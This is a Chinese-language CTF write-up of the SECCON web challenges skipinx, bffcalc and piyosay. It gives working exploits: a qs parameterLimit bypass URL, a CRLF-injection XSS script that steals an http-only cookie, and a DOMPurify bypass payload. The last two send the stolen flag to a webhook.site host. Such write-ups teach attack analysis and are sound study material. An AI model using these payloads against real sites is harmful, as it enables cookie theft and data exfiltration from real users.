後來讀了 y011d4 的 writeup，發現他的 solve script 只要約 20 秒就能解出來了...

看來我應該研究一下他的 z3 用法，或許能讓我的 script 更快一點

Web

skipinx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const app = require("express")();

const FLAG = process.env.FLAG ?? "SECCON{dummy}";
const PORT = 3000;

app.get("/", (req, res) => {
  console.log(req.query)
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

app.listen({ port: PORT, host: "0.0.0.0" }, () => {
  console.log(`Server listening at ${PORT}`);
});

然後在這個 server 前有個 nginx 在:

1
2
3
4
5
6
7
8
9
server {
  listen 8080 default_server;
  server_name nginx;

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }
}

單從 set $args 那行我想不到什麼方法繞，所以就去研究 express.js 處理 query string 的 qs module 了。當它出現重複的 key 時預設會把它變成 array，所以 req.query.proxy.includes("nginx") 仍然會是 true，所以這樣是繞不過的。

後來去讀了它裡面的 code 發現有 parameterLimit 這個選項存在，而它會被用到 split() 的最大切分數量那邊，所以只要塞超過一些個 & 就會讓最後面的 &proxy=nginx 不會當成獨立的選項處理，因此就能繞過。

1
2
3
http://skipinx.seccon.games:8080/?proxy=1&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

# SECCON{sometimes_deFault_options_are_useful_to_bypa55}

bffcalc

它有個明顯的 XSS 在，然而 flag 是放在 http-only cookie 裡面所以不能直接拿到。不過這提最有趣的地方是它有個自己弄的 http proxy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"
    print(payload.encode())

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

測試了一下可以利用 req.path_info 包含 %0D%0A 等字元去 CRLF Injection，所以只要找方法用適當的劃分讓 Cookie 的部分想辦法讓 backend 回顯回來即可。

做一些測試後能發現 backend 會在遇到不正常的 http method 時直接把錯誤的 method name 回顯，所以透過 Content-Length 和 Connection: keep-alive 控制一下就能讓 flag 被當成 method name 回顯回來。

具體要讓 xss 執行的 script 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
;(async () => {
	document.cookie = 'long=l000000000000000000000000000000g'
	for (let i = 300; i < 500; i += 1) {
		fetch(
			'/' +
				encodeURIComponent(
					' HTTP/1.0\r\nConnection: keep-alive\r\n\r\nPOST /x HTTP/1.0\r\nConnection: keep-alive\r\nContent-Length: ' +
						i +
						'\r\n\r\n'
				),
			{ headers: { 'X-A': 'ASD' } }
		)
			.then(r => r.text())
			.then(res => {
				if (res.includes('SECCON'))
					return fetch('https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?result=' + i, {
						body: res,
						method: 'POST'
					})
			})
	}
})()

把它放在 webhook.site 的 response 中然後用 iframe + script 執行即可:

1
2
3
<iframe srcdoc="<script src='https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f'></script>"></iframe>

SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

piyosay

一樣是 client side 的題目，關鍵的 code 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<script>
	trustedTypes.createPolicy('default', {
		createHTML: unsafe => {
			return DOMPurify.sanitize(unsafe).replace(/SECCON{.+}/g, () => {
				// Delete a secret in RegExp
				''.match(/^$/)
				return 'SECCON{REDACTED}'
			})
		}
	})
</script>
<script>
	const get = path => {
		return path.split('/').reduce((obj, key) => obj[key], document.all)
	}

	const init = async () => {
		const emojis = await (await fetch('/api/emojis')).json()
		const fragment = document.createDocumentFragment()
		for (const emoji of emojis) {
			const elm = document.createElement('p')
			elm.innerHTML = emoji
			fragment.appendChild(elm)
		}
		get('emojis').appendChild(fragment)

		get('piyo').innerHTML = '🐥/🐣/🐤'.split('/')[(Math.random() * 3) | 0]
	}

	const main = async () => {
		const params = new URLSearchParams(location.search)

		const message = `${params.get('message')}${document.cookie.split('FLAG=')[1] ?? 'SECCON{dummy}'}`
		// Delete a secret in document.cookie
		document.cookie = 'FLAG=; expires=Thu, 01 Jan 1970 00:00:00 GMT'
		get('message').innerHTML = message

		const emoji = get(params.get('emoji'))
		get('message').innerHTML = get('message').innerHTML.replace(/{{emoji}}/g, emoji)
	}

	document.addEventListener('DOMContentLoaded', async () => {
		await init()
		await main()
	})
</script>

雖然看起來 get('message').innerHTML = message 可以直接 xss，但因為它有弄 trusted types 的緣故還是要繞 DOMPurify。

繞法也很簡單，因為它會在 sanitize 後才把 SECCON{.*} replace 掉，所以

1
SECCON{<p data-x="}<img src onerror='alert(1)'>">

就能繞過保護得到 XSS 了。

不過這題的難點顯然不在於此，因為原本在 document.cookie 中的 flag 消失已經被清除了，而 RegExp.input 和 RegExp.$_ 也被作者用 ''.match(/^$/) 擋住了，所以需要找找有沒有什麼地方有殘留 flag。

仔細想想會發現 flag 會經過的函數除了那個 replace 以外就只有 DOMPurify.sanitize，所以應該是不會有殘留的對吧...? 其實關鍵就在這邊，因為 DOMPurify 其實有個 DOMPurify.removed 的 array 會記錄下所有被移除掉的 elements，所以只要在 message 的尾端塞 <script>，那包含 flag 的那個 <script> 就會被放到裡面去，然後存取 DOMPurify.removed[0].element.textContent 就能找回 flag 了。

不過後面要注意的一點是第二個 innerHTML assignment 也會把 DOMPurify.removed 清空，所以要讓 const emoji = ... 那行 error 才能讓後面不執行。

1
2
SECCON{<p data-x="}<img src onerror='flag=DOMPurify.removed[0].element.textContent;(new Image).src=\`https://webhook.site/78142dca-2eba-4d75-8b99-107dbe2a598f?flag=\`+flag'>">
<script>
1
2
3
http://web:3000/result?emoji=asd%2Fb&message=%0ASECCON%7B%3Cp+data-x%3D%22%7D%3Cimg+src+onerror%3D%27flag%3DDOMPurify.removed%5B0%5D.element.textContent%3B%28new+Image%29.src%3D%60https%3A%2F%2Fwebhook.site%2F78142dca-2eba-4d75-8b99-107dbe2a598f%3Fflag%3D%60%2Bflag%27%3E%22%3E%0A%3Cscript%3E%0A

SECCON{w0w_yoU_div3d_deeeeeep_iNto_DOMPurify}